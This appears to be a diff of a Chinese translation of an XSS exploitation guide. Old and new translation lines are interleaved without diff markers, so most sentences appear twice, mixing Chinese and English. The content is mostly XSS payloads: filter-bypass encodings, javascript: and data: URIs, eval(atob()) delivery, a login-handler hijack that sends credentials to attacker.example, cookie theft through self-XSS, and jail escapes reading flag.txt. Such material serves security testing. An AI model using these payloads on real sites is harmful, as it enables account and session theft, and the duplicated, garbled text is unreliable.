便你 **cannot escape from the attribute** (`"` 被编码或删除),取决于你的值被反射在 **which attribute** 上以及你是 **控制整个值还是仅部分**你仍然可以利用它滥用。For **example**,如果你控制了像 `onclick=` 这样的事件,你就能在点击时让它执行任意代码。\
另一个有趣的 **example** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
**在事件内绕过(使用 HTML 编码/URL encode**
**Bypass inside event using HTML encoding/URL encode**
HTML 标签属性值中的 **HTML 编码字符** 会在 **运行时被解码**。因此类似下面的内容是有效的payload 用粗体表示): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML 标签属性值内部的 **HTML encoded characters** 会在 **decoded on runtime**。因此如下内容将是有效的payload 用黑体表示): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
注意 **任何形式的 HTML 编码 都有效**
注意**any kind of HTML encode is valid**
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -299,11 +299,11 @@ HTML 标签属性值中的 **HTML 编码字符** 会在 **运行时被解码**
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**注意 URL encode 也可行:**
**注意 URL encode 也会起作用:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass 在事件内部使用 Unicode encode**
**在事件内部使用 Unicode 编码进行绕过**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -311,7 +311,7 @@ HTML 标签属性值中的 **HTML 编码字符** 会在 **运行时被解码**
```
### 属性内的特殊协议
你可以在属性的某些位置使用协议 **`javascript:`** 或 **`data:`** 来 **execute arbitrary JS code**。有些需要用户交互,有些则不需要。
在那里你可以在某些地方使用协议 **`javascript:`** 或 **`data:`** 来**执行任意 JS 代码**。有些情况需要用户交互,有些则不需要。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**可以注入这些协议的地方**
**可以注入这些协议的位置**
**一般来说** `javascript:` 协议可以 **用于接受属性 `href` 的任何标签**,并在 **大多数** 接受 **属性 `src`** 的标签中使用(但不包括 `<img>`
**一般来说** `javascript:` 协议可以 **在任何接受 `href` 属性的标签中使用**,并且在 **大多数接受 `src` 属性的标签中**(但不包括 `<img>`
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Other obfuscation tricks**
**其他混淆技巧**
_**在这种情况下,由于你在属性内,上一节的 HTML encoding 和 Unicode encoding 技巧也同样有效。**_
_**在这种情况下,由于位于属性内,上一节的 HTML 编码和 Unicode 编码技巧也有效。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
此外,对于这些情况还有另一个 **好技巧****即便你在 `javascript:...` 中的输入被 URL 编码,它在执行前也会被 URL 解码。** 因此,如果你需要 **转义****字符串** 并使用 **单引号**,当你看到 **它被 URL 编码了** 时,请记住 **这不重要,** 它会在 **执行****被解释为** 一个 **单引号**。
此外,对于这些情况还有一个**妙招****即使你在 `javascript:...` 中的输入被 URL encoded它会在执行前被 URL decoded。** 所以,如果你需要从 **string****escape**,使用 **single quote**,并且你看到 **it's being URL encoded**,记住 **it doesn't matter,** 它将在 **execution** time 被 **interpreted****single quote**。
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意,如果你尝试以任意顺序**同时使用** `URLencode + HTMLencode` 来对 **payload** 进行编码,它**不会** **生效**,但你可以**在 payload 内混合使用它们**
请注意,如果你尝试 **同时使用** `URLencode + HTMLencode` 以任何顺序去编码 **payload**,它 **不会** **生效**,但你可以 **在 payload 内部混合使用它们**
**在 `javascript:` 中使用 Hex 和 Octal encode**
**在 `javascript:` 中使用 Hex 和 Octal 编码**
你可以在 `iframe``src` 属性(至少)中使用 **Hex****Octal encode** 来声明 **HTML tags to execute JS**:
你可以在 `iframe``src` 属性(至少)中使用 **Hex****Octal encode** 来声明 **HTML tags to execute JS**
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,8 +385,7 @@ _**在这种情况下,由于你在属性内,上一节的 HTML encoding 和 U
```javascript
<a target="_blank" rel="opener"
```
如果你能够在任意 **`<a href=`** 标签中注入任意 URL且该标签包含 **`target="_blank" and rel="opener"`** 属性,请查看 **下面的页面以利用此行为**
如果你可以在任意包含 **`target="_blank" and rel="opener"`** 属性的 **`<a href=`** 标签中注入任意 URL请查看 **以下页面来利用此行为**
{{#ref}}
../reverse-tab-nabbing.md
@ -394,8 +393,8 @@ _**在这种情况下,由于你在属性内,上一节的 HTML encoding 和 U
### on Event Handlers Bypass
首先查看此页面https://portswigger.net/web-security/cross-site-scripting/cheat-sheet以获取有用的 **"on" event handlers**。\
如果存在某些黑名单阻止你创建这些 event handlers你可以尝试以下绕过方法
First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" event handlers**.\
In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -412,12 +411,12 @@ Android: %09 %20 %28 %2C %3B
```
### XSS 在 "Unexploitable tags" (hidden input, link, canonical, meta)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以通过以下方式滥用 hidden inputs**
[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用 hidden inputs**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
并在 **meta 标签**
以及在 **meta 标签**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -431,91 +430,91 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
来自 [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 你可以在 **hidden 属性内 执行 XSS payload**,前提是你能 **说服** **victim** 去按下 **按键组合**。在 Firefox Windows/Linux 上按键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。你可以在 access key attribute 中使用不同的键来指定不同的按键组合。攻击向量如下
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 您可以执行 **XSS payload inside a hidden attribute**,前提是您能**说服** **victim** 按下 **key combination**。在 Firefox Windows/Linux 上,按键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。您可以通过在 access key attribute 中使用不同的键来指定不同的按键组合。下面是攻击向量:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS payload 将会像这样: `" accesskey="x" onclick="alert(1)" x="`**
**XSS 载荷会像这样: `" accesskey="x" onclick="alert(1)" x="`**
### 黑名单绕过
### Blacklist Bypasses
本节已经展示了若干使用不同编码的技巧。回去**学习这些编码可以在哪使用:**
本节之前已经展示了使用不同编码的若干技巧。请**返回以了解可以在哪里使用:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
- **Unicode encoding (可以是有效的 JS 代码):** `\u0061lert(1)`
- **URL encoding**
- **Hex and Octal encoding**
- **data encoding**
**Bypasses for HTML tags and attributes**
**绕过 HTML tags 和 attributes**
阅读[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
阅读 [Blacklist Bypasses of the previous section](#blacklist-bypasses).
**Bypasses for JavaScript code**
**绕过 JavaScript 代码**
阅读 J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
阅读 [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
如果你在网页的**很小一部分发现 XSS**且需要某种交互(比如页脚的一个带 onmouseover 的小链接),你可以尝试**修改该元素占据的空间**以最大化触发该链接的概率。
如果你在网站的一个非常小的部分发现了 **XSS**,并且它需要某种交互(例如页脚中的一个小链接带有 onmouseover 元素),你可以尝试**修改该元素所占的空间**,以最大化链接被触发的概率。
例如,你可以在元素添加如下样式: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
例如,你可以在元素添加如下样式: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
但是,如果 WAF 过滤 style 属性,你可以使用 CSS Styling Gadgets因此如果你发现,例如
但是,如果 WAF 过滤 style 属性,你可以使用 CSS Styling Gadgets例如如果你发现:
> .test {display:block; color: blue; width: 100%\}
以及
> \#someid {top: 0; font-family: Tahoma;}
现在你可以修改我们的链接并把它变成如下形式
现在你可以修改我们的链接,使其变为如下形式
> \<a href="" id=someid class=test onclick=alert() a="">
该技巧摘自 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
这个技巧来自于 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## 在 JavaScript 代码中注入
在这些情况下,你的 **input** 会被 **反射到 JS 代码中**,比如在 `.js` 文件内、`<script>...</script>` 标签之间、在可以执行 JS 的 HTML 事件中,或在接受 `javascript:` 协议的属性中。
在这些情况下,你的 **input** 将被**反射到 `.js` 文件 的 JS 代码**中,或插入在 `<script>...</script>` 标签之间,或位于可以执行 JS 的 HTML 事件之间,或位于接受 `javascript:` 协议的属性中。
### 转义 \<script> 标签
### 跳出 \<script> tag
如果你的代码被插入在 `<script> [...] var input = 'reflected data' [...] </script>` 中,你可以很容易地**转义以闭合 `<script>`** 标签:
如果你的代码被插入在 `<script> [...] var input = 'reflected data' [...] </script>` 之内,你可以很容易地**跳出并关闭 `<script>`** 标签:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
注意在这个例子中我们 **甚至都没有关闭单引号**。这是因为 **HTML 解析首先由浏览器执行**,该过程涉及识别页面元素,包括 script 块。随后才会对 JavaScript 进行解析以理解并执行嵌入的脚本
请注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**浏览器首先执行 HTML 解析**,这涉及识别页面元素,包括 script 块。用于理解并执行嵌入脚本的 JavaScript 解析只有在之后才进行
### 在 JS 代码内部
### 在 JS code 中
如果 `<>` 被过滤,你仍然可以在输入被**放置**的位置**对字符串进行转义**并**执行任意 JS**。重要的是要**修复 JS 语法**因为如果有任何错误JS 代码将不会被执行:
如果 `<>` 被过滤,你仍然可以**转义字符串**(在你的输入被**定位**的地方)并**执行任意 JS**。重要的是要**修复 JS 语法**因为如果有任何错误JS code 将不会被执行:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
#### JS-in-JS 字符串中断 → inject → 修复 模式
#### JS-in-JS string break → inject → repair pattern
当用户输入落在一个带引号的 JavaScript 字符串中(例如,服务器端回显到内联脚本中)时,你可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架:
当用户输入落入被引号包裹的 JavaScript 字符串中例如server-side echo 到 inline script 中)时,可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
当易受攻击的参数反射到 JS 字符串中时的示例 URL 模式:
当易受攻击的参数反射到 JS 字符串中时的示例 URL 模式:
```
?param=test";<INJECTION>;a="
```
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
这会在不接触 HTML 上下文的情况下执行攻击者 JS纯 JS-in-JS。当过滤器屏蔽关键字时可与下面的 blacklist bypasses 结合使用。
### 模板字面量 \`\`
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
为了构造 **字符串**除了单引号和双引号外JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法**嵌入 JS 表达式**。\
因此,如果你发现你的输入被**反射**到使用反引号的 JS 字符串中,你可以滥用 `${ ... }` 语法来执行 **任意 JS 代码**
This can be **abused** using:
这可以通过**滥用**以下方式实现:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -527,22 +526,21 @@ return loop
}
loop``
```
### 编码的 code 执行
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### 可交付 payloadseval(atob()) 与作用域细微差别
#### 可交付的 payloads使用 eval(atob()) 和作用域细节
为了缩短 URLs 并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码,然后用 `eval(atob('...'))` 来执行它。
如果简单的关键字过滤会阻止像 `alert``eval``atob` 这样的标识符,可以使用 Unicode 转义的标识符,这些标识符在浏览器中编译后是相同的,但可以避开基于字符串匹配的过滤器:
为了保持 URLs 更短并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码,并用 `eval(atob('...'))` 来执行。如果简单的关键字过滤会阻止像 `alert``eval``atob` 这样的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译后完全相同,但能逃避基于字符串匹配的过滤器:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
重要的作用域细节:在 `eval()` 内声明的 `const`/`let` 是块级作用域,并不会创建全局变量;它们对后续脚本不可访问。需要定义全局、不可重新绑定的钩子时(例如劫持表单处理器),使用动态注入的 `<script>` 元素:
重要的作用域细微差别:`const`/`let` declared inside eval() 是块级作用域,不会创建全局变量;它们不会被后续脚本访问。需要时,使用动态注入的 `<script>` 元素来定义全局且不可重新绑定的 hooks例如用于 hijack a form handler
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -550,15 +548,15 @@ document.head.appendChild(s);
```
参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode 编码的 JS 执行
### Unicode Encode JS execution
```javascript
alert(1)
alert(1)
alert(1)
```
### JavaScript 绕过黑名单技巧
### JavaScript 绕过黑名单的技术
**字符串**
**Strings**
```javascript
"thisisastring"
'thisisastrig'
@ -589,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**JS 代码的空格替换**
**JS 代码的空格替换**
```javascript
<TAB>
/**/
```
**JavaScript comments (来自** [**JavaScript Comments**](#javascript-comments) **技巧)**
**JavaScript 注释 (来自** [**JavaScript Comments**](#javascript-comments) **技巧)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -631,7 +629,7 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>
```
**Javascript 在注释中**
**注释内的 Javascript**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -717,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意函数 (alert) 调用**
**任意函数alert调用**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -779,45 +777,45 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
存在 **JS code** 使用了由攻击者控制的**不安全数据**,例如 `location.href`。攻击者可以滥用这些数据来执行任意 JS 代码。\
**由于对** [**DOM vulnerabilities**](dom-xss.md) **的说明较长,已将其移至该页面:**
存在 **JS code** 使用了攻击者可控制的不安全数据,例如 `location.href`。攻击者可能滥用此漏洞来执行任意 JS 代码。\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用它们** 的详细解释。\
另外,别忘了在上述文章的末尾可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的说明
在那里你会找到关于 **what DOM vulnerabilities are、how are they provoked、and how to exploit them** 的详细说明。\
另外,不要忘记在上述文章的末尾你可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的解释
### Upgrading Self-XSS
### Cookie XSS
如果你能通过将 payload 放入 cookie 来触发 XSS这通常是 self-XSS。然而如果你发现一个 **vulnerable subdomain to XSS**,你可以滥用该 XSS 向整个域注入 cookie从而在主域或其他子域那些对 cookie XSS 易受攻击的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack
如果你能通过在 cookie 中发送 payload 来触发 XSS这通常是 self-XSS。然而如果你找到一个 **易受 XSS 影响的子域 (vulnerable subdomain to XSS)**,你可以滥用该 XSS 在整个域中注入 cookie从而在主域或其他子域那些易受 cookie XSS 影响的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中看到对此技术的优秀滥用示例。
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Sending your session to the admin
可能某个用户可以与 管理员 分享他的 profile如果 self XSS 存在于该用户的 profile 中且 管理员 访问它,就会触发该漏洞。
可能用户会将他的 profile 与 admin 分享,如果 self XSS 存在于该用户的 profile 中,且 admin 访问它admin 就会触发该漏洞。
### Session Mirroring
如果你发现了某些 self XSS 并且网页对 管理员 有 **session mirroring for administrators**,例如允许客户寻求帮助,为了帮助你 管理员 会看到你在 session 中看到的内容,但是在他的 session 中
如果你发现某些 self XSS 并且网页对管理员存在 **session mirroring**,例如允许客户请求帮助,为了帮助你 admin 会以他的 session 看到你在自己 session 中所看到的内容
你可以让 管理员 触发你的 self XSS 并窃取他的 cookies/session。
你可以让 **administrator 触发你的 self XSS** 并窃取他的 cookies/session。
## Other Bypasses
### Normalised Unicode
你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting)
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -825,16 +823,16 @@ dom-xss.md
```
### Ruby-On-Rails bypass
由于 **RoR mass assignment**,引号会被插入到 HTML 中,从而绕过引号限制,并可以在标签内添加额外字段onfocus。\
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果你发送 payload:
由于 **RoR mass assignment**,引号会被插入到 HTML 中,从而绕过引号限制,并可以在标签内添加额外字段onfocus。\
表单示例[from this report](https://hackerone.com/reports/709336)),如果你发送以下 payload
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
键值对 "Key","Value" 将被回显如下:
对 "Key","Value" 将被回显如下:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
然后,会插入 onfocus 属性并触发 XSS
然后,会插入 onfocus 属性,导致 XSS 发生
### 特殊组合
```html
@ -866,24 +864,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
### 在 302 响应中通过 header injection 实现 XSS
如果你发现可以 **inject headers in a 302 Redirect response**,可以尝试 **make the browser execute arbitrary JavaScript**。这并不简单,因为现代 browsers 在 HTTP 响应状态码为 302 时不会解释 HTTP response body,所以单纯的 cross-site scripting payload 是无效的。
如果你发现可以 **inject headers in a 302 Redirect response**,可以尝试 **让浏览器执行任意 JavaScript**。这并不简单,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 你可以阅读如何在 Location header 内测试多种 protocols并查看是否有允许 browser 检查并执行 body 中 XSS payload 的协议。\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
在 [**this report**](https://www.gremwell.com/firefox-xss-302) 和 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以了解到如何在 Location header 内测试多个协议,查看是否有某些协议允许浏览器检查并执行位于 body 内的 XSS payload。\
已知的可用协议: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Only Letters, Numbers and Dots
### 仅字母、数字和点
如果你能够指定将被 javascript 执行的 **callback** 且限制为这些字符,请参考 [**Read this section of this post**](#javascript-function) 了解如何滥用此行为。
如果你能指定将被 javascript **execute****callback**,且该 callback 限制为上述字符集,[**Read this section of this post**](#javascript-function) 了解如何滥用此行为。
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试以 `application/octet-stream` 这样的 **content-type** 加载 scriptChrome 会抛出如下错误:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试以 `application/octet-stream` 这样的 **content-type** 加载一个 scriptChrome 会抛出以下错误:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
唯一会让 Chrome 运行被加载 script**Content-Type** 是位于 const **`kSupportedJavascriptTypes`** 中的那些,见 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
唯一会让 Chrome 运行 **loaded script****Content-Type** 是位于 const **`kSupportedJavascriptTypes`** 中的那些,见 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -905,14 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### 用于 XSS 的脚本类型
### 用于 XSS 的脚本类型
(摘自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以来加载脚本?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以被指定来加载脚本?
```html
<script type="???"></script>
```
答案:
- **module** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,允许你将一堆数据 (HTML, CSS, JS…) 打包到一个 **`.wbn`** 文件中。
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一项功能,可以将一堆数据 (HTML, CSS, JS…) 打包到 **`.wbn`** 文件中。
```html
<script type="webbundle">
{
@ -939,9 +939,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来将一个库重新映射为 eval滥用它可以触发 XSS。
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来将一个库重映射到 eval滥用它可以触发 XSS。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个特性主要用于解决由预渲染引起的一些问题。它的工作方式如下:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 该功能主要用于解决由预渲染引起的一些问题。其工作方式如下:
```html
<script type="speculationrules">
{
@ -957,24 +957,24 @@ import { partition } from "lodash"
}
</script>
```
### Web Content-Types to XSS
### Web 内容类型导致 XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 下列内容类型可以在所有浏览器中执行 XSS
(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我记得在一个 CTF 里见过)
- application/rss+xml (无效)
- application/atom+xml (无效)
- text/plain (?? 不在该列表但我记得在一次 CTF 中看到过)
- application/rss+xml (off)
- application/atom+xml (off)
在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml 内容类型
如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS
如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -984,11 +984,11 @@ import { partition } from "lodash"
```
### 特殊替换模式
出现**`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的用法时,攻击者可能会使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 试图绕过一些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
当像 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的用法被使用时,攻击者可以使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) 来试图绕过某些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这被用来在脚本中**转义 JSON 字符串**并执行任意代码。
例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来在脚本内部转义一个 JSON 字符串并执行任意代码。
### Chrome Cache 导致 XSS
### Chrome Cache to XSS
{{#ref}}
@ -997,7 +997,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
如果你只能使用有限的字符集,请查看这些针对 XSJail 问题的其他可行解决方案:
如果你只能使用有限的字符,请查看这些针对 XSJail 问题的其他有效解决方案:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1028,22 +1028,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
如果在执行不受信任的代码之前**所有东西都是 undefined**(像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)),就可以“从无到有”生成有用的对象来滥用任意不受信任代码的执行:
如果在执行不受信任的代码之前 **everything is undefined**(像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) 中)就有可能“无中生有”地生成有用的对象来滥用任意不受信任代码的执行:
- Using import()
- 使用 import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
